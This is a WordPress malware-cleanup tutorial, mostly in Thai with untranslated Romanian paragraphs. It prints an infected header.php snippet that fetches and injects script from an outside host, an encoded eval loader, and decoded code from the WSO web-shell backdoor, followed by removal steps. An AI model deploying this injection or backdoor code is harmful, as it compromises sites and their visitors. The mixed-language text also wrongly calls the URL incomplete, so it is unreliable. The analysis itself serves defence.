บทช่วยสอนนี้นำเสนอกรณีเฉพาะที่บล็อก WordPress ติดไวรัส ลบ WordPress PHP Virus
เนื้อหา
วันก่อนฉันสังเกตเห็นโค้ดที่น่าสงสัยซึ่งดูเหมือนเป็นไวรัส PHP สำหรับ WordPress รหัส PHP ต่อไปนี้มีอยู่ใน header.phpก่อนถึงบรรทัด </head>-
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
นี่คือโค้ด PHP บางส่วนที่ดูเหมือนว่าจะพยายามดึงเนื้อหาของทรัพยากรจากเซิร์ฟเวอร์ภายนอก แต่ส่วนที่อ้างถึง URL นั้นไม่สมบูรณ์
Mecanismul de funcționare este ceva mai complex și face acest WordPress PHP Virus invizibil pentru vizitatorii site-urilor afectate. În schimb, acesta vizează motoarele de căutare (Google) și duce implicit la scăderea semnificativă a numărului de vizitatori pe website-urile afectate.
รายละเอียดมัลแวร์ WordPress PHP Virus
1. Codul de mai sus este prezent în header.php-
2. Pe server a apărut un fișier wp-log.php în folderul wp-includes-
3. wp-log.php conține un cod criptat, dar care este relativ ușor de decriptat.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Decriptare cod malware din wp-log.php -
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Acesta pare a fi un script PHP malware care conține cod pentru a gestiona autentificarea și acțiuni asupra fișierelor și directoarelor pe un server. Se poate observa foarte ușor că acest script conține variabile precum $auth_pass (parola de autentificare), $default_action (การกระทำเริ่มต้น) $default_use_ajax (ใช้ Ajax เป็นค่าเริ่มต้น) และ $default_charset (การตั้งค่าตัวอักษรเริ่มต้น)
แน่นอนว่าสคริปต์นี้มีส่วนที่จะตรวจสอบตัวแทนผู้ใช้ HTTP เพื่อบล็อกการเข้าถึงเว็บบอทบางตัว เช่น เครื่องมือค้นหา นอกจากนี้ยังมีส่วนที่ตรวจสอบโหมดความปลอดภัยของ PHP และตั้งค่าไดเร็กทอรีการทำงานบางอย่าง
4. หากเข้าถึง wp-log.php ในเบราว์เซอร์ หน้าเว็บจะปรากฏขึ้นพร้อมกับฟิลด์ของ การรับรองความถูกต้อง- เมื่อมองแวบแรกดูเหมือนว่าจะเป็นตัวจัดการไฟล์ซึ่งสามารถอัพโหลดไฟล์ใหม่ไปยังเซิร์ฟเวอร์เป้าหมายได้อย่างง่ายดาย
ลบไวรัสออกจากเว็บไซต์ WordPress?
ทุกครั้ง กระบวนการกำจัดไวรัสด้วยตนเองจะต้องเกี่ยวข้องกับการค้นหาและทำความเข้าใจก่อนว่าจุดอ่อนคืออะไร
1. สร้างการสำรองข้อมูลสำหรับทั้งเว็บไซต์ ซึ่งจะต้องมีทั้งไฟล์และฐานข้อมูล
2. พิจารณาระยะเวลาโดยประมาณของไวรัส และค้นหาเว็บเซิร์ฟเวอร์เพื่อหาไฟล์ที่แก้ไขหรือสร้างขึ้นใหม่ภายในกรอบเวลาโดยประมาณ
เช่น หากคุณต้องการดูไฟล์ .php สร้างหรือแก้ไขเมื่อสัปดาห์ที่แล้ว ให้รันคำสั่งในเซิร์ฟเวอร์:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
เป็นวิธีง่ายๆ ที่คุณสามารถค้นพบไฟล์ WordPress ที่ติดไวรัสและไฟล์ที่มีโค้ดมัลแวร์ได้
3. ตรวจสอบไฟล์ .htaccess คำสั่งที่น่าสงสัย สิทธิ์หรือบรรทัดการดำเนินการสคริปต์
4. ตรวจสอบฐานข้อมูล เป็นไปได้มากว่าโพสต์และเพจ WordPress บางรายการได้รับการแก้ไขด้วยมัลแวร์หรือมีการเพิ่มรายการใหม่ ผู้ใช้ที่มีบทบาทผู้ดูแลระบบ-
5. ตรวจสอบสิทธิ์การเขียนสำหรับโฟลเดอร์และไฟล์ chmod และ chown-
สิทธิ์ที่แนะนำคือ: 644 สำหรับไฟล์และ 755 สำหรับไดเร็กทอรี
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. อัปเดตทั้งหมด WordPress Plugins / WordPress Themes-
ที่เกี่ยวข้อง: แก้ไขการเปลี่ยนเส้นทาง WordPress Hack 2023 (การเปลี่ยนเส้นทางไวรัส)
เหล่านี้คือวิธีการ “ขั้นพื้นฐาน” ซึ่งคุณสามารถกำจัดไวรัสเว็บไซต์ / บล็อก WordPress ได้ หากคุณมีปัญหาและต้องการความช่วยเหลือ ส่วนความคิดเห็นจะเปิดอยู่